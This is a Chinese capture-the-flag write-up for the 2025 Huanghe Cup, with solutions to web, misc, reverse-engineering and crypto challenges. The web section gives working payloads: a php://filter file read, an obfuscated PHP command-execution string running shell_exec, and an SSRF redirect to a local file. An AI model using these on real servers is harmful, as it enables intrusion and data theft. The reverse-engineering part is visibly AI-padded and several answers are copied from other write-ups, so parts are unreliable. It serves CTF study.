2025黃鶴杯線上wp
2025黃鶴杯線上賽
Web
Code
<?php
highlight_file(__FILE__);
include("aid.php");
if(!(isset($_GET["input1"]) && isset($_GET["input2"]) && isset($_GET["input3"])))
{
die("Insufficient Inputs!");
}
$input1 = $_GET["input1"];
$input2 = $_GET["input2"];
$input3 = $_GET["input3"];
if($input1==0&&file_get_contents($input2)=="Welcome!"&&$input2==0)
{
if(stripos("flag.php", $input1) === false)
{
echo file_get_contents($input1);
$variable = unserialize($input3);
$variable();
}
}
?input1=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php&input2=data%3A%2F%2Ftext%2Fplain%2CWelcome!&input3=N;


RCEME
參考CTFtime.org / TetCTF 2021 / Super Calc / Writeup
/?calc='(9222(1(((9222(2()''*^^-1%2b(*^^-2%2b())''%268%2b)81(%268%2b)82())'&1=shell_exec&2=cat+flag.php

邂逅redis

存在ssrf漏洞
多次嘗試這題可以出網,本來想反彈shell,但是發現不能用gopher和dict,只能用http去訪問服務器上次的文件了
在本地服務器,寫入一個重定向的php文件
<?php
header('HTTP/1.1 302 Found');
header('Location: file:///var/www/html/flag.php');
?>

然后去訪問

MISC
Simple_pcap
壓縮包密碼1a2b3c
得到pcap流量包
直接工具分析出


flag{usbprotocolforfun}
中秋賞月
手改寬度

得到壓縮包的密碼

后面就是寬字符

flag{ee4752ccc2eed2124b3c65e21287d748}
日志分析
用winxp打開,然后保存日志文件為txt


flag{21:09:50}
RE
系統調試
好的,我們將以結構化、技術化的AI分析風格,對提供的逆向工程內容進行詳細重構與擴充,強調邏輯推理、數據流追蹤和關鍵結論的推導過程。
** 綜合逆向分析報告**
** 概述**
目標程序為一個基于自定義編碼驗證的身份認證系統。核心邏輯涉及:動態鏈表的構建、用戶輸入的編碼轉換及與預設序列的比對。成功認證的條件是用戶輸入經編碼后產生的整數序列必須完全匹配程序內嵌的密鑰序列。
** 核心邏輯分解**
- 主函數 (
main) 執行流程
- ?鏈表初始化: 使用頭插法動態構建一個包含10個節點的單向鏈表。每個節點存儲一對映射關系:?
Key: 一個整型值(從1到10)。?Value: 一個ASCII字符,由公式Key + 109計算得出。 - ?用戶輸入處理: 讀取標準輸入,限制最大長度為6字節的字符串。
- 驗證函數 (
sub_40074D) 算法剖析
該函數是認證的核心,其算法可分解為三個明確階段:
-
?
階段一:密鑰序列定義
在棧上靜態初始化一個長度為6的整數數組
v7:c
下載
復制
運行
v7[] = {5, 2, 7, 2, 5, 6};此序列即為認證成功的目標基準。
-
?階段二:輸入編碼轉換遍歷用戶輸入的每個字符:?以當前字符作為查詢條件,遍歷前述鏈表。?在鏈表中找到首個
Value與輸入字符匹配的節點。?提取該節點的Key值,并將其存入臨時數組v6的相應位置。?此過程實質上完成了一次字符到整數的映射編碼。 -
?階段三:序列驗證將編碼后產生的數組
v6與目標密鑰數組v7進行逐元素比對。任何不一致都將導致認證失敗。
? 關鍵數據結構:編碼映射表
由于鏈表采用頭插法構建,最終順序與創建順序相反。映射關系如下表所示,此表是逆向編碼的核心字典:
| 整數 Key | 計算過程 | 字符 Value | 備注 (ASCII) |
|---|---|---|---|
| 10 | 10 + 109 | 'w' |
119 |
| 9 | 9 + 109 | 'v' |
118 |
| 8 | 8 + 109 | 'u' |
117 |
| 7 | 7 + 109 | 't' |
116 |
| 6 | 6 + 109 | 's' |
115 |
| 5 | 5 + 109 | 'r' |
114 |
| 4 | 4 + 109 | 'q' |
113 |
| 3 | 3 + 109 | 'p' |
112 |
| 2 | 2 + 109 | 'o' |
111 |
| 1 | 1 + 109 | 'n' |
110 |
** 逆向推導解決方案**
我們的目標是:生成一個輸入字符串,使其經過編碼轉換后恰好輸出序列 {5, 2, 7, 2, 5, 6}。
推導過程是一個簡單的反向查表操作:
- 1.對于目標序列中的每一個整數,在上述映射表中查找其對應的
Value(字符)。 - 2.將這些字符按順序拼接,即構成有效載荷。
逐步推導:
| 序列索引 | 目標整數 | 對應字符 | 推導說明 |
|---|---|---|---|
| 0 | 5 | 'r' |
查表,Key=5 對應 Value='r' |
| 1 | 2 | 'o' |
查表,Key=2 對應 Value='o' |
| 2 | 7 | 't' |
查表,Key=7 對應 Value='t' |
| 3 | 2 | 'o' |
查表,Key=2 對應 Value='o' |
| 4 | 5 | 'r' |
查表,Key=5 對應 Value='r' |
| 5 | 6 | 's' |
查表,Key=6 對應 Value='s' |
? 最終結論
經逆向分析推導,滿足程序認證條件的唯一有效輸入為字符串:
rotors
將此字符串提交給程序,其編碼轉換結果將完美匹配內部密鑰序列,從而通過驗證。
** 分析總結表**
| 組件 | 分析結果 | 重要性 |
|---|---|---|
| 認證機制 | 自定義字符-整數映射比對 | 核心安全邏輯 |
| 密鑰序列 | {5, 2, 7, 2, 5, 6} |
認證成功的基準 |
| 編碼字典 | 10個鍵值對(詳見映射表) | 逆向解碼的關鍵 |
| 有效載荷 | 'r' + 'o' + 't' + 'o' + 'r' + 's' |
Flag: rotors |
此報告完整重現了從二進制代碼到高級邏輯,最終推導出明文Flag的完整逆向工程工作流。
flag{rotors}
Crypto
柵欄里的保險箱
** 題目概述**
標題:RSA-柵欄里的保險箱
內容:
- ?已知一個RSA加密的密文
c和一個大整數n(即“柵欄里的保險箱”中給出的數字)。 - ?公鑰指數
e并非常見的65537,需通過分解n得到私鑰參數后枚舉可能的e進行解密。 - ?解密后的中間結果需進一步通過柵欄密碼(Rail Fence Cipher)處理,最終得到flag。
** 已知信息**
-
n 的分解(來自公開題解):
復制
p = 475983529392229563986300263627 q = 50994851324392722608175048292980313487272936248176620246821369736608473 n = p * q- ?
n是一個101位復合數(FactorDB中標記為 C101),已被成功分解。
- ?
-
2.公鑰指數
e:?非常規值,需通過枚舉嘗試(常見小指數或與φ(n)互質的整數)。 -
3.解密中間結果:?使用
p、q計算 φ(n) = (p-1)(q-1),枚舉e并嘗試解密c。?成功解密后的明文應包含字符f, l, a, g, {, },形如flag格式。?題解中得到的中間明文為:f513lb9f22}a1a161gfe1f9{74ac82cc27cf23 -
4.柵欄密碼處理:?題面提示“柵欄”指柵欄密碼(Rail Fence Cipher)。?對中間明文進行欄數為 7 的解密,得到最終flag:
flag{2fc7f1b59ae4c22a11f126fc73c89123}
? 解題步驟
第一步:分解 n
- ?通過FactorDB或已知分解結果直接得到
p和q。
第二步:計算 φ(n) 并枚舉 e
python
下載
復制
運行
phi = (p-1) * (q-1)
for e in range(2, 100000): # 枚舉范圍需根據實際調整
if gcd(e, phi) == 1:
d = pow(e, -1, phi)
m = pow(c, d, n)
# 將m轉換為字節串,檢查是否包含flag特征字符
第三步:篩選可讀明文
- ?解密后檢查字符串是否包含
f, l, a, g, {, }。 - ?題解中唯一匹配的中間結果為:
f513lb9f22}a1a161gfe1f9{74ac82cc27cf23
第四步:柵欄解密
-
?
使用欄數 7 對中間串進行柵欄解密:
python
下載
復制
運行
def rail_fence_decrypt(cipher, rails): # 實現柵欄解密算法 ...得到最終flag:
flag{2fc7f1b59ae4c22a11f126fc73c89123}

浙公網安備 33010602011771號